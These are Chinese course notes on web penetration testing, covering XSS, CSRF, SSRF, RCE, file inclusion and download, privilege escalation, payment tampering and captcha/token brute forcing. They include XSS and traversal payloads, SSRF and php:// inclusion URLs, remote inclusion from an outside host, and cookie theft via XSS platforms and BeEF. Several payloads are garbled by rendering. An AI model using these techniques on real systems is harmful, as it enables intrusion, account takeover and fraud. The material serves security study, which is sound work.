【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5

目录

  • 目录
  • 第25天:WEB漏洞-XSS跨站之原理分类及攻击手法
  • 第26天:WEB漏洞-XSS跨站之订单及Shell箱子反杀记
  • 第27天:WEB漏洞-XSS跨站之代码及httponly绕过
  • 第28天:WEB漏洞-XSS跨站之WAF绕过及安全修复
  • 第29天:WEB漏洞-CSRF及SSRF漏洞案例讲解
  • 第30天:WEB漏洞-RCE代码及命令执行漏洞全解
  • 第31天:WEB漏洞-文件操作之文件包含漏洞全解
  • 第32天:WEB漏洞-文件操作之文件下载读取全解
  • 第33天:WEB漏洞-逻辑越权之水平垂直越权全解
  • 第34天:WEB漏洞-逻辑越权之支付数据篡改安全
  • 第35天:WEB漏洞-逻辑越权之找回机制及接口爆破
  • 第36天:WEB漏洞-逻辑越权之验证码与Token及接口


目录

第25天:WEB漏洞-XSS跨站之原理分类及攻击手法

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第1张图片
XSS 跨站漏洞产生原理,危害,特点?

1.本质

跨站脚本攻击是指攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击的目的

2.产生层面

前端

3.函数类

输出类函数

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export

4.漏洞操作对应层

前端

5.危害影响

受Javascript代码影响

6.浏览器内核版本等

浏览器安全策略可能会阻止Js脚本执行

7.XSS 跨站漏洞分类:反射,存储,DOM

从产生层面,具体区别,危害等级等讲解

8.反射,又叫非持续型

是一个交互的过程,通过特别的包含Js代码的访问,使页面执行相应的Js代码

需要访问特定内容,或访问特定的链接才可以触发

9.储存,又叫持续型

与反射型相比,访问提交的Js代码被储存进了网站的数据库

每一个访问该页面的人都会触发代码执行,危害更大

10.DOM

文档对象模型(Document Object Model),简称DOM,代码在前端,常用于更新当前页面

客户端的脚本程序可以通过DOM动态地检查和修改页面内容,且不依赖与服务器端的交互,而是从客户端获得DOM中的数据在本地执行

如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

DOM型一般属于反射型

测试代码:#’ oncli删掉这串汉字ck=“alert(2)”>

11.上传有长度限制

如果输入的信息会上传到地址栏。可以直接在地址栏输入

审查元素,修改“maxlength”也就是长度限制

12.XSS 常规攻击手法:

平台,工具,结合其他等

利用案例:通过在线留言、在线下单等功能进行跨站攻击,窃取管理员的cookie,登陆后台

13.cookie session

用户凭据:通过凭据可以判断对方身份信息

cookie 存储在本地 存活时间较长 小中型

session 会话 存储在服务器 存活时间较短 大型

涉及资源:

xss平台:https://xss8.cc/xss.php?do=login

xss平台:https://xsshs.cn/xss.php?do=login

xss-labs:https://github.com/do0dl3/xss-labs

随意多功能留言板 SyGuestBook:http://down.chinaz.com/soft/37581.html

第26天:WEB漏洞-XSS跨站之订单及Shell箱子反杀记

XSS 平台及工具使用

1.Postman:自定义发包

注册后可以看历史记录

可以选择当前的提交方式,在提交方式后填入网址

点“Headers”选择输入一个KEY值,名字叫“Cookie”,Cookie的值输入到“VALUE”里,并勾选

点击“Send”发包,可以在“Body”里的“Preview”查看图形界面

2.Webshell后门箱子

Webshell 后门中的后门

3.beef

启动beef:beef -xss

beef启动后会弹出一个地址,访问该网址,输入账号密码beef/beef登录

复制命令行界面“Example”中的一句话,提交给攻击目标

地址左边的Hooked Browsers会列出受控的服务器,右边的Commands会列出beef的功能

4.手写

跨站攻击常见于:

留言板、评论区、订单系统、建议反馈等

如果对方采用session验证,那么采取cookie盗取攻击是无效的

**解决办法:**利用跨站漏洞访问phpinfo这个文件,读取到里面“HTTP_COOKIE”的“PHPSESSID”的值

涉及资源:

XSS在线靶场:http://xss.fbisb.com/

webshell收集项目:https://github.com/tennc/webshell

postman:https://www.postman.com/

第27天:WEB漏洞-XSS跨站之代码及httponly绕过

什么是HttpOnly

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

如何获取后台权限

1.cookie获取进入后台

2.直接账号密码登录

如何获取账号密码

1.没保存读取
表单劫持

表单劫持功能,表单劫持需要登录框处有跨站漏洞才行

2.保存读取

读取保存数据

配置,勾选“获取浏览器记住的明文密码”,参数与网站源代码对应

XSS案例

皆来自xss-labs

Level1

网页上“欢迎用户”字符后面的内容与网址中“name”等于的值相等

将name后面的值改为一般测试语句“alert(1)”

Level2

使用了htmlspecialchars()函数,会转换特殊字符(<>)导致JS语句失效

变量“value”也接收了语句,由于在引号内失效

闭合“value”的引号“”>alert(1)”

Level3

对尖括号过滤,但是在搜索框里

HTML onclick事件属性:当点击按钮时执行一段JavaScript

“’ οnclick=’alert(1)”,点击搜索框

用移动鼠标的事件也可以

Level4

与第三关类似

“” οnclick=”alert(1)”,点击搜索框

Level5

将“on”替换为“o_n”,将“

借助地址超链接协议

“”>”,会出现一个超链接,点击通过

Level6

用第五关同样的方法过滤了“

可以利用大小写绕过

“”>”,会出现一个超链接,点击通过

Level7

过滤了“script”“on”“src”“data”“href”,同时过滤大小写

利用循环来绕过

“”>”,会出现一个超链接,点击通过

Level8

过滤了“script”“on”“src”“data”“href”“””,同时过滤大小写

转换成Unicode编码绕过

将“javascript:alert(1)”转换为Unicode编码,点击超链接,通过

Level9

没有“http://”都拦截,然后是过滤

将“javascript:alert(1)”转换为Unicode编码,后面加上“//http://”,即被注释掉的“http://”

Level10

隐藏了表单属性值

在页面查看源代码,发现有“t_link”“t_history”“t_sort”三个带有标签,可能是自变量。可以试试看能否将其type属性改为“text”。

type="text"是为了构造一个文本框,用来触发onclick事件。

这里除“keyword”外每一项都需要闭合引号,“keyword”暂时用不上。

将地址改为“?keyword=1&t_link=" type=“text”&t_history=" type=“text”&t_sort=" type=“text””

发现只有“t_sort”可以改为text型,也就是说“t_sort”可以作为文本框,来触发onclick事件。

将地址改为“?keyword=1&t_sort=" type=“text” οnclick=”alert(1)”

似乎这里直接将HTML代码中的“hidden”删了也可以

Level11

隐藏了表单属性值

依旧可以给“t_sort”的“value”赋值,但值受到htmlspecialchars()函数处理,无法改变“type”

t_ref的值来自$_SERVER[‘HTTP_REFERER’],可以通过burpsuite来添加,使t_ref成为文本框

Level12

跟第十一关类似,t_ua的value值来自数据包中User-Agent的值

csrf跨站请求伪造

1.跨站点脚本攻击

2.检测来源,同源策略

3.是否同一域名,防止来自其他域名的命令影响本域名的安全

涉及资源:

xss-labs:https://github.com/do0dl3/xss-labs

超级加解密转换工具:https://www.cr173.com/soft/21692.html

什么是HttpOnly:https://www.oschina.net/question/100267_65116

第28天:WEB漏洞-XSS跨站之WAF绕过及安全修复

经典的分析思路

关键字拆分,确定被拦截的内容

常规WAF绕过思路

1.标签语法替换

利用不同的操作语句实现,比如超链接“a hrer=”恶意代码””,图片错误“img src=”xxx” οnerrοr=”恶意代码””

2.特殊符号干扰

用引号括起网址代替闭合用的后尖括号

用引号括起网址后,在后引号和后尖括号间加入特殊符号(如井号“#”)

利用“/”将“a href”变为“a /href”

3.提交方式更改

更改提交方式,需要页面支持

4.垃圾数据溢出

用引号括起网址后,在后引号和后尖括号间加入垃圾字符

5.加密解密算法

例:?name=click\

6.结合其他漏洞绕过

自动化工具说明
XSStrike:(python3)

主要特点反射和DOM XSS扫描

多线程爬虫

Context分析

检测和规避WAF

参数说明

-h, --help //显示帮助信息

-u, --url //指定目标URL

–data //POST方式提交内容

-v, --verbose //详细输出

-f, --file //加载自定义paload字典

-t, --threads //定义线程数

-l, --level //爬行深度

-t, --encode //定义payload编码方式

–json //将POST数据视为JSON

–path //测试URL路径组件

–seeds //从文件中测试、抓取URL

–fuzzer //测试过滤器和Web应用程序防火墙。

–update //更新

–timeout //设置超时时间

–params //指定参数

–crawl //爬行

–proxy //使用代理

–blind //盲测试

–skip //跳过确认提示

–skip-dom //跳过DOM扫描

–headers //提供HTTP标头

-d, --delay //设置延迟

fuzz字典配合burp suite

抓取数据包,发送到Intruder模式下

在Positions添加变量,在Payloads中载入“Load…”字典

在Results中根据长度“Length”判断是否拦截

安全修复方案

使用waf,开启 httponly,输入过滤,输出过滤等

PHP:http://www.zuimoge.com/212.html

JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html

JAVA XSS平台练习

https://gitee.com/yhtmxl/imxss/

涉及资源:

基于Java的Xss漏洞测试平台:https://gitee.com/yhtmxl/imxss/

xwaf:https://github.com/3xp10it/xwaf

XSS Fuzzer:https://xssfuzzer.com/fuzzer.html

XSStrike:https://github.com/s0md3v/XSStrike

绕过XSS检测机制:https://bbs.pediy.com/thread-250852.html

fuzzDicts(Fuzz字典):https://github.com/TheKingOfDuck/fuzzDicts

PHP(被阻断):http://www.zuimoge.com/212.html

关于XSS漏洞修复(JAVA):https://www.cnblogs.com/baixiansheng/p/9001522.html

第29天:WEB漏洞-CSRF及SSRF漏洞案例讲解

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第2张图片
CSRF漏洞解释,原理等
CSRF(跨站请求伪造)

攻击者通过技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作。由于浏览器曾经认证过,所以被访问的网站会认为是用户本人的操作而去运行

简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户发出的

CSRF漏洞检测,案例,防御等
案例:以更改个人信息为例

用户在某网站登录

攻击者知道该网站相关数据包的构成(通过抓包等方法)

攻击者在自己的服务器上构建一个更改用户个人信息的数据包的链接

此时用户未退出该网站,又访问了攻击者的构建的链接,导致修改个人信息的数据包被触发

用户的个人信息遭到篡改

漏洞检测

找到网站能修改信息并更新的功能测试

修改并用burpsuite抓包

burpsuite右键“Engagement tools”“Generate CSRF PoC”

修改一下信息,并将下面的“CSRF HTML”复制出来

在个人服务器上进行如同上述案例一样的测试

防御方案

1、当用户发送重要的请求时需要输入原始密码

2、设置随机Token,检测数据包唯一性,最有效

3、检验referer来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)

4、设置验证码

5、限制请求方式只能为POST
【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第3张图片
【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第4张图片
SSRF漏洞解释,原理等
SSRF(Server-Side Request Forgery 服务器端请求伪造)

目标是从外网无法访问的内部系统

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

SSRF漏洞检测,案例,防御等

**案例:**以远程上传,内网有一台192.168.64.144为例

远程上传意味着可以通过“http://www.xxx.com/xxx.jpg”来上传图片

将输入的地址写成“http://127.0.0.1”,那么服务器将请求本地,HTTP协议还会探测本地端口是否开放

请求“http://127.0.0.1:3306”,链接对方的MySQL数据库,会返回信息

简单遍历内网地址,以确定内网主机

请求“http://192.168.64.144:3306”,链接内网的MySQL数据库,会返回信息

**该漏洞常用协议:**http,file,dict,ftp,gopher等

**漏洞攻击:**端口扫描,指纹识别,漏洞利用,内网探针等

协议使用案例

http://192.168.64.144/phpmyadmin/

file:///D:/www.txt

dict://192.168.64.144:3306/info

ftp://192.168.64.144:21

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第5张图片
涉及资源:

SSRF漏洞(原理&绕过姿势):https://www.t00ls.net/articles-41070.html

第30天:WEB漏洞-RCE代码及命令执行漏洞全解

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第6张图片

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。
比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

代码执行RCE漏洞
原理,攻击,检测,危害,修复等

不安全的使用了代码调用代码或命令执行函数

命令执行RCE漏洞
原理,攻击,检测,危害,修复等

不安全的使用了调用系统命令

漏洞形成条件

1.可控变量:可以通过网址上的传参实现改变变量值

2.漏洞函数:使用什么函数,造成什么漏洞

手工检测漏洞的方法

1.参数值存在与网站脚本有关的内容,如“echo”

2.功能跟执行命令有关

RCE漏洞产生相关性函数
禁用这些函数或对变量进行过滤

代码执行函数

eval()

assert()

call_user_func_array()

array_map()

命令执行函数

system()

exec()

shell_exec()

passthru()

pcntl_exec()

`` 反引号

案例知识点

1.通过数据包或改变网址的字母大小写来判断服务器系统。

2.借助管道符“|”一次执行多条命令

3.可以通过禁用JS或者抓包改数据包来绕过前端检测(burpsuite postman)

4.在Linux系统中,系统会尝试将反引号中的内容当作一个命令执行

一句话 Webshell 后门原理:代码执行

借助eval()函数产生一个代码执行漏洞;

“@”在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

涉及资源:

JAVA web网站代码审计--入门:https://www.cnblogs.com/ermei/p/6689005.html

PHP 远程代码执行漏洞复现(CVE-2019-11043):

http://blog.leanote.com/post/snowming/9da184ef24bd

墨者学院-PHP代码分析溯源(第4题):

https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe

墨者学院-命令注入执行分析:

https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe

墨者学院-Webmin未经身份验证的远程代码执行:

https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe

第31天:WEB漏洞-文件操作之文件包含漏洞全解

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第7张图片
文件包含漏洞
原理,检测,类型,利用,修复等

借由文件包含,将指定文件里的内容当作脚本代码执行

手工检测:

1.看网址后面的参数值是不是文件或类似文件名的命名;

2.看功能是否跟文件包含有关。

文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<%@ include file=”head.jsp”%>

本地包含-无限制,有限制

include($filename);

http://127.0.0.1:8080/include.php?filename=1.txt

http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt

绕过限制

include($filename.”.html”);

%00截断:条件:magic_quotes_gpc = off,php版本<5.3.4,例:

?filename=…/…/…/www.txt%00

长度截断:名字过长,导致后面的“.html”无法正确的加在字符串的后面,类似垃圾数据

条件:Windows,点号需要长于256;Linux,长于4096,例:

?filename=…/…/…/www.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././

远程包含

看代码和开发平台有没有限制,如PHP中就有allow_url_include开关

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

**各种协议流玩法:**https://www.cnblogs.com/endust/p/11804787.html

语句案例:
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt

http://127.0.0.1:8080/include.php?filename=php://input Post:

’);?>

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

http://127.0.0.1:8080/include.php?filename=data://text/plain,

文件包含的思路

1.是否为远程包含

2.是否能上传文件到服务器里面

3.包含原始文件中能操作的文件,如日志文件

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第8张图片
【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第9张图片
涉及资源:

春秋-CTF训练:https://www.ichunqiu.com/battalion?t=1&r=0

南邮竞赛题:http://4.chinalover.sinaapp.com/web7/index.php

php伪协议:https://www.cnblogs.com/endust/p/11804767.html

第32天:WEB漏洞-文件操作之文件下载读取全解

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第10张图片
文件下载,读取
原理,检测,利用,修复等
利用

1.数据库配置文件下载或读取后续

2.接口密匙信息文件下载或读取后续

测试位置

存在下载或读取功能的位置

下载或读取的文件

1.配置文件(数据库,平台,各种等)

2.默认文件(指系统文件)

敏感文件位置获取

1.扫描工具爬行或扫描地址

2.下载好的文件代码中分析路径和包含文件获取

文件名,参数值,目录符号

read.xxx?filename=

down.xxx?filename=

readfile.xxx?file=

downfile.xxx?file=

…/ …\ .\ ./等

%00 ? %23 %20 .等

&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF=、WEB-INF

文件被解析,则是文件包含漏洞

显示源代码,则是文件读取漏洞

提示文件下载,则是文件下载漏洞

涉及资源:

小米路由器远程任意文件读取漏洞(CVE-2019-18371):

https://www.seebug.org/vuldb/ssvid-98122

春秋-CTF训练-“百度杯”CTF比赛 2017 二月场:

https://www.ichunqiu.com/battalion?t=1&r=57475

javaWeb实现文件下载:https://blog.csdn.net/Cheng_May/article/details/78600833

RoarCTF考题(需登录):https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java

第33天:WEB漏洞-逻辑越权之水平垂直越权全解

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第11张图片

1.垂直越权访问

普通用户->计划专员->超级查看员->超级管理员

2.水平越权访问

用户A->用户B->用户C->用户D

水平越权,垂直越权,未授权访问
解释,原理,检测,利用,防御等
解释

水平:通过更换的某个ID之类的身份标识,从而使A账号获取(修改、删除等)B账号数据(A、B是同一级别水平的用户)。

垂直:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。

未授权:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。

原理

前端造成:界面

根据用户权限,显示不同的网页。即普通用户与管理员使用相同页面,只是部分内容对普通用户隐藏

应该在操作功能时判断权限,决定给不给与执行,而不是在显示页面时,且只隐藏网页内容

后端造成:数据库

在user表(管理员和普通用户同表)中使用一项数据的值(如usertype、groupid)判断用户的权限

检测

如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,这是测试越权漏洞的基本

获取高权限操作的数据包

1.修改当前页面的数据包实现越权,用于当前页面有对应选项但无操作权限时

2.下载网站源码,本地搭建,模拟抓取

修复防御方案

1.前后端同时对用户输入信息进行校验,双重验证机制

2.调用功能前验证用户是否有权限调用相关功能

3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限

4.直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理

5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

工具:secscan-authcheck

中通开发,开源,需要docker部署

工具:小米范

代理抓包,并自带浏览器

burpsuite插件:AuthMatrix

需要安装Jython

burpsuite插件:Authz

高版本可以使用自带的商店下载,

在“Extender”的“BApp Store”选项卡下,找到“Authz”,“install”

抓取需要测试的数据包,右键发送到“Intruder”,设置Payload

“Intruder”“Start attack”把结果发送到“Authz”

设置“Cookie”为测试数据包的

选取要测试的数据包,右键“Run Selected Request(s)”

在下面会显示结果,绿的有漏洞,白的安全

涉及资源:

secscan-authcheck(越权检测工具):https://github.com/ztosec/secscan-authcheck

墨者学院-身份认证失效漏洞实战:

https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe

第34天:WEB漏洞-逻辑越权之支付数据篡改安全

登录应用功能点安全问题
检测,危害,修复方案等
检测

存在登录功能的位置

危害

不用账号密码,直接登录

登陆点越权方法
登录点暴力破解

如果数据包传输的账号密码没有加密或加密方式已知,可以尝试暴力破解

HTTP/HTTPS传输

HTTPS会采用加密传输,HTTP不一定

Cookie脆弱点验证

代码审计

看看Cookie有无可操作的值,调整那些跟你登录页面有关的项,看是否会影响功能。如修改“user”的值

Session固定点测试
验证密文比对安全测试

burpsuite给爆破字典加密

常规爆破的操作:抓包,设置payload,选择字典

在“Payload Processing”中添加对应的加密方法,如:“Hash”“MD5”,注意要确保勾选

数据篡改安全问题
原理,检测,危害,修复等

一般用于商品购买

参考:https://www.secpulse.com/archives/67080.html

商品购买流程:

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

常见篡改参数:

商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等

常见修改方法:

替换支付(修改支付接口),重复支付,最小额支付,负数支付,溢出支付,优惠券支付等

替换支付(修改支付接口)

网页根据返回值确定要调用的支付接口,可以尝试调用第三方接口

源码:$ pay_name=$_GET[‘s’];

index.php?s=/wap/pay/wchatQrcodePay 微信支付

index.php?s=/wap/pay/alipay 支付宝支付

index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口

数据篡改原理

以接收值为准,而非以数据库的数据值为准

没有token验证数据包的唯一性

涉及资源:

挖洞技巧:支付漏洞之总结:https://www.secpulse.com/archives/67080.html

Z-Blog:https://www.zblogcn.com/zblogphp/

password_brute_dictionary(字典):https://github.com/huyuanzhi2/password_brute_dictionary

第35天:WEB漏洞-逻辑越权之找回机制及接口爆破

找回重置机制

**客户端回显:**验证码在客户端的浏览器或数据包中可以看到

**Response状态值:**页面通过该值返回输入的验证码的对错,可以修改数据包中的值

**验证码爆破:**如果验证码范围不大,验证码有效时间足够,没有次数限制,则可以尝试

**找回流程绕过:**发送验证码-验证-重置密码,绕过验证码验证,直接请求下一步

接口调用乱用

短信轰炸,来电轰炸(呼死你原理)等,违法

burpsuite修改返回的数据包

右键,选择“Do intercept”“Response to this request”。之后会抓返回的数据包

抓包,修改

涉及资源:

墨者学院-登录密码重置漏洞分析溯源:

https://www.mozhe.cn/bug/detail/K2sxTTVYaWNncUE1cTdyNXIyTklHdz09bW96aGUmozhe

第36天:WEB漏洞-逻辑越权之验证码与Token及接口

【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第12张图片
【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第13张图片
【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-5_第14张图片
验证码安全

**分类:**图片,手机或邮箱,语音,视频,操作(如鼠标滑过)等

**原理:**验证生成或验证过程中的逻辑问题

**危害:**账户权限泄漏,短信轰炸,遍历,任意用户操作等

**漏洞:**客户端回显,验证码复用,验证码爆破,绕过等

token安全

基本上述同理,主要是验证中可存在绕过可继续后续测试

token爆破,token客户端回显等

验证码识别插件工具使用

Pkav_HTTP_Fuzz

使用方法:

右键选择验证码“复制图片地址”,访问图片地址

抓取图片地址的数据包:右键“审查元素”“Network”,刷新一下

找到请求数据包“Request Headers”复制GET,Host和Cookie之间的部分

打开工具,选择“图片型验证码识别”

将复制内容添加到“其他请求头部”,在填写“验证码地址”

根据需要调整参数、引擎等,点击“识别测试”

缺点:

缺少接口,只能加载能够下载的识别库

只能识别简单的验证码

只能使用自带的发包器,不能结合到burpsuite上

captcha-killer

添加方法:

burpsuite选择“Extender”“Extensions”,“Add”,在“Extension file(.jar)”中选择下载好的插件文件

使用方法:

使用burpsuite抓包,右键发送到“captcha-killer”“Send to captcha panel”

接口URL填识别平台的接口地址

开始识别

爆破时使用该插件:“Attack type”选择“Pitchfork”,“Payload type”选择“Extension-generated”,“Extension payload generator”选择“captcha-killer”。不要多线程

reCAPTCHA
添加方法:

添加插件,跟captcha-killer一样

reCAPTCHA是一款老牌插件,captcha-killer是基于reCAPTCHA设计的

验证码复用

正常提交,确定验证码正确和错误时的返回语句

提交一个验证码正确的数据包,并抓包

右键发送到“Repeater”,然后提交“Go”

修改数据包中的账号密码等参数,再次提交,看验证码部分是否报错

前端验证码绕过

抓包,再发送(这样就可以绕过本地验证)

Token的定义

Token是服务端生成的一串字符串。当客户端第一次登录后,服务器生成一个Token并将此Token返回给客户端,Token可以代替用户名和密码作为身份的验证。

每次客户端与服务器端通信,会得到新的Token

Token暴力破解

抓包,发送到“Intruder”,将密码和token的值设为变量,“Attack type”选择“Pitchfork”

转到“Payloads”页,“Payload set”改为1,代表密码,为密码添加字典

将“Payload set”改为2,代表token

转到“Options”页,将“Number of threads”设为1,将“Redirections”设为“Always”

“Grep-Extract”“Add”在下方找到token的值,并选择它(把返回的token值用于下次发包)

回到“Options”页,“Payload type”选择“Recursive grep”

“Intruder”“Start attack”

接口安全问题

使用callback相当于回调,需要取数据,可能会符合一些漏洞的条件,形成安全问题

调用,遍历,未授权,篡改等

调用案例:短信轰炸

遍历案列:UID等遍历

callback回调JSONP

查找接口问题

在目标网站抓包,右键“Send to Spider”(爬取数据包)

输入或不输入账号密码

在“Target”页会展示对应的网站结构

在“Proxy”“History”里会有爬虫请求和回显结果

单击空白处,唤出查找框。通过此方式快速查找含有某个参数的数据包

burpsuite也自带扫描功能

涉及资源:

使用burp插件captcha-killer识别图片验证码:

https://www.cnblogs.com/nul1/p/12071115.html

captcha-killer:https://github.com/c0ny1/captcha-killer/releases/tag/0.1.2

reCAPTCHA:https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0

你可能感兴趣的:(web安全,安全,前端)